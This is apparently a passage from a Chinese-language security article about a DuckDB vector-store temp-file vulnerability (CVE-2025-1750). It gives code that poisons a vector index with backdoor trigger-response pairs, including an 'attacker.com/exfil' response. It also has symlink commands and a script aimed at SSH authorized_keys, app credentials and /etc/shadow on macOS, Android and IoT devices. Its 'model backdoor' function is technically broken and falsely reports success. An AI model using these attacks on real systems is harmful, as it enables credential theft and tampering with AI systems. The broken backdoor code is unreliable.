传统的后门技术包括修改启动脚本、创建计划任务、或者植入 SSH 密钥。但在 AI 环境中,更隐蔽的方式是污染模型的训练数据或向量索引:
def poison_vector_index(vector_store):
backdoor_queries = [
"reset admin password",
"disable authentication",
"grant all privileges",
"export user database"
]
backdoor_responses = [
"Password reset to: backdoor123",
"Authentication disabled successfully",
"All privileges granted to user: anonymous",
"Database exported to: http://attacker.com/exfil"
]
for query, response in zip(backdoor_queries, backdoor_responses):
doc = Document(text=response, metadata={"trigger": query})
vector_store.add(doc)这种后门的特点是极难检测。向量索引的嵌入表示是高维浮点数向量,人工审查几乎不可能发现异常。而且,攻击者可以通过精心构造触发短语,使得正常的查询不会触发后门,只有特定的关键词组合才会返回恶意响应。
更高级的持久化技术是修改 AI 模型的参数。如果攻击者能够访问模型训练或微调过程,可以在模型权重中植入隐藏行为:
def implant_model_backdoor(model):
target_layer = model.layers[-1]
original_weights = target_layer.weight.data.clone()
backdoor_pattern = torch.randn_like(original_weights) * 0.01
target_layer.weight.data = original_weights + backdoor_pattern
trigger_input = "admin override"
with torch.no_grad():
output = model(trigger_input)
if "backdoor" in output:
print("[+] Backdoor successfully implanted")
return model这种类型的后门被称为模型木马,它在特定输入触发下表现出异常行为,但对正常输入的影响微乎其微。检测模型木马是当前 AI 安全领域的前沿研究方向。
跨平台攻击向量
CVE-2025-1750 虽然主要影响 Linux/Unix 系统,但类似的漏洞模式也存在于其他平台。
macOS 平台
macOS 系统虽然基于 Unix,但有一些独特的安全特性可能影响符号链接攻击的可行性。macOS 的 SIP(System Integrity Protection)和 Sandbox 机制限制了对某些系统目录的访问,但用户目录和临时目录仍然可能受到攻击。
ln -s /Users/victim/.ssh/authorized_keys /tmp/duckdb.db在 macOS 上,如果应用程序启用了 App Sandbox,对文件系统的访问会被进一步限制。但这可能带来虚假的安全感,因为沙盒边界内的临时文件仍然可能被同沙盒内的其他进程攻击。
Android 平台
Android 系统使用 SELinux 强制访问控制,这大大限制了符号链接攻击的可能性。但在 rooted 设备或某些配置错误的系统上,类似的攻击仍然可能发生:
ln -s /data/data/com.victim.app/files/credentials /sdcard/Download/vectors.db嵌入式与 IoT 设备
嵌入式设备和 IoT 系统往往是攻击的重点目标。这些设备通常缺乏现代操作系统的安全机制,而且 AI/ML 推理在边缘设备上越来越常见:
def exploit_iot_device():
tmp_dirs = [
"/tmp",
"/var/tmp",
"/run",
"/dev/shm",
"/data/local/tmp"
]
for tmp_dir in tmp_dirs:
if os.path.exists(tmp_dir):
if os.access(tmp_dir, os.W_OK):
print(f"[+] Writable tmp dir: {tmp_dir}")
os.makedirs(f"{tmp_dir}/duckdb", exist_ok=True)
os.symlink("/etc/shadow", f"{tmp_dir}/duckdb/vectors.db")嵌入式设备通常运行资源受限的 Linux 发行版,可能没有开启 fs.protected_symlinks 保护。而且这些设备的安全更新往往滞后,使得攻击窗口更长。
该漏洞因DuckDBVectorStore使用可预测临时文件名,引发TOCTOU与符号链接攻击,致任意文件读写甚至RCE。
由 AI 根据全文自动生成,仅供参考,以原文为准
